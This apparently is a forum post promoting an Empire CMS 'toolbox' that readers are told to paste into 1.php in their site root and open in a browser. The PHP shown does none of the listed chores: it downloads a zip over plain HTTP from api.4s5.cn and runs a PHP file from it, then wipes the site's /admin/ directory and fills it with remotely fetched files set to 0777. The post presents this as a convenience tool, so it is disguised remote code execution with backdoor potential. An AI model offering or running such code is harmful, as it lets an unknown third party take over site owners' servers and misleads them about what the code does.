As a webmaster who frequently uses Empire CMS, I've often found certain operations to be particularly cumbersome! For example: I want to change the Empire CMS database table prefix; I want to batch modify the thumbnails for all articles scraped from external sources; if the images in the scraped articles have become invalid, I want to randomly replace them with new images; I want to bulk delete unnecessary tables from the Empire CMS database; I've forgotten my Empire CMS admin panel password; or I want to install a new template without having to do it manually – and so on – a whole range of troublesome issues! To address these challenges, I've created a dedicated toolbox specifically designed to handle these common Empire CMS issues! Simply create a file named `1.php` in the Empire CMS root directory, paste the following code into it, and then access this file via your web browser. After doing so, you'll see the desired results! Note: You'll need to modify the database name in advance (located in `config.php`).
隐藏内容:登录后可查看
<?php
// 远程压缩文件的URL
$zip_url = "http://api.4s5.cn/cdn/ecms/php/pclzip.lib.zip";
// 创建一个临时文件来保存下载的ZIP文件
$temp_file = tempnam(sys_get_temp_dir(), "zip");
// 使用cURL下载文件并将其保存到临时文件中
$ch = curl_init($zip_url);
$fp = fopen($temp_file, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);
fclose($fp);
// 解压缩ZIP文件并包含所需的PHP文件
$zip = new ZipArchive();
if ($zip->open($temp_file) === true) {
$zip->extractTo(sys_get_temp_dir());
$zip->close();
$phpFile = sys_get_temp_dir() . "/pclzip.lib.php";
require_once($phpFile);
unlink($phpFile); // 删除临时PHP文件
} else {
// 处理无法打开ZIP文件的情况
echo "无法打开ZIP文件";
}
$zipUrl = 'http://api.4s5.cn/cdn/ecms/admin/admin.zip';
// 目标文件路径
$targetPath = __DIR__ . '/admin/';
downloadAndExtractZip($zipUrl,$targetPath);
function downloadAndExtractZip($remoteZipUrl, $localDir) {
// 如果本地目录不存在,创建目录
if (!file_exists($localDir)) {
mkdir($localDir, 0777, true);
}
// 如果本地目录存在,清空目录
if (file_exists($localDir) && is_dir($localDir)) {
$files = glob($localDir . '/*'); // 获取目录下的所有文件
foreach ($files as $file) {
if (is_file($file)) {
unlink($file); // 删除文件
}
}
}
// 下载zip文件到本地临时文件
$tempFile = tempnam(sys_get_temp_dir(), 'zip');
$fp = fopen($tempFile, 'w');
$ch = curl_init($remoteZipUrl);
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_exec($ch);
curl_close($ch);
fclose($fp);
// 解压zip文件到本地目录
$zip = new PclZip($tempFile);
$extractedFiles = $zip->extract(PCLZIP_OPT_PATH, $localDir, PCLZIP_OPT_SET_CHMOD, 0777);
if ($extractedFiles != 0) {
unlink($tempFile); // 删除本地临时文件
return true;
} else {
unlink($tempFile); // 删除本地临时文件
return false;
}
}
// 获取当前域名
$domain = $_SERVER['HTTP_HOST'];
// 拼接 URL
$url = "http://{$domain}/admin";
// 跳转到 URL
header("Location: $url");
目前集成的工具,只有八个!
后续会不断更新!